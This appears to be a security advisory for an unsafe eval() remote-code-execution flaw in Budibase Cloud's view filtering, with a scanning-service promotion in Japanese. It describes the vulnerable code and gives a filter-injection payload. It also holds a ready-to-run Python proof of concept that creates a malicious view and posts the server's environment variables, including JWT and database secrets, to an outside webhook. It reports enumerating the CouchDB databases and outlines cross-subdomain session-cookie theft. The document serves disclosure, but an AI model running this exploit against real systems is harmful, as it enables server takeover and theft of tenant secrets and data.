| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| budibase | < 3.30.4 | 3.30.4 |
| budibase | < 3.30.4 | 3.30.4 |
A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.
The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNAL_API_KEY, JWT_SECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.
File: packages/server/src/db/inMemoryView.ts:28
export async function runView(
view: DBView,
calculation: string,
group: boolean,
data: Row[]
) {
// ...
let fn = (doc: Document, emit: any) => emit(doc._id)
// BUDI-7060 -> indirect eval call appears to cause issues in cloud
eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)")) // UNSAFE EVAL
// ...
}
Why Only Cloud is Vulnerable:
File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221
if (env.SELF_HOSTED) {
// Self-hosted: Uses native CouchDB design documents - NO EVAL
response = await db.query(`database/${viewName}`, {
include_docs: !calculation,
group: !!group,
})
} else {
// Cloud: Uses in-memory PouchDB with UNSAFE EVAL
const tableId = viewInfo.meta!.tableId
const data = await fetchRaw(tableId!)
response = await inMemoryViews.runView( // <- Calls vulnerable function
viewInfo,
calculation as string,
!!group,
data
)
}
The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.
Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン/api/views with malicious payload in filter value/api/views/{viewName}), runView() is calledeval()'d on server - RCE achievedThe vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:
Malicious filter value:
x" || (MALICIOUS_CODE_HERE, true) || "
This payload:
x"|| (OR operator) to inject arbitrary codetrue to make the filter always match|| "" to maintain valid syntaxTested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:
app-service pod (hostname: app-service-5f4f6d796d-p6dhz, Kubernetes, eu-west-1)process.env - confirmed presence of platform secrets (JWT_SECRET, INTERNAL_API_KEY, COUCH_DB_URL, MINIO_ACCESS_KEY, etc.)COUCH_DB_URL credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impactimport requests, time
from urllib.parse import urlparse
# Config | CHANGE THESE
URL = "https://[YOUR-TENANT].budibase.app"
WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]"
JWT = "[YOUR-JWT-TOKEN]" # budibase:auth cookie value
APP_ID = "app_dev_[TENANT]_[APP-UUID]" # x-budibase-app-id header
TABLE_ID = "[YOUR-TABLE-ID]" # any table ID (e.g. ta_users)
# Payload - parses hostname/path from WEBHOOK automatically
webhook_parsed = urlparse(WEBHOOK)
view = f"RCE_{int(time.time())}"
payload = f'''x" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''
# Exploit
s = requests.Session()
s.cookies.set('budibase:auth', JWT)
s.headers.update({"x-budibase-app-id": APP_ID, "Content-Type": "application/json"})
print(f"[*] Creating view...")
s.post(f"{URL}/api/views", json={"tableId": TABLE_ID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})
print(f"[*] Triggering RCE...")
s.get(f"{URL}/api/views/{view}")
print(f"[+] Done! Check: {WEBHOOK}")
Prerequisites:
Exploitation:
budibase:auth)python3 budibase_rce_poc.pyVerification:
The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).
This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact: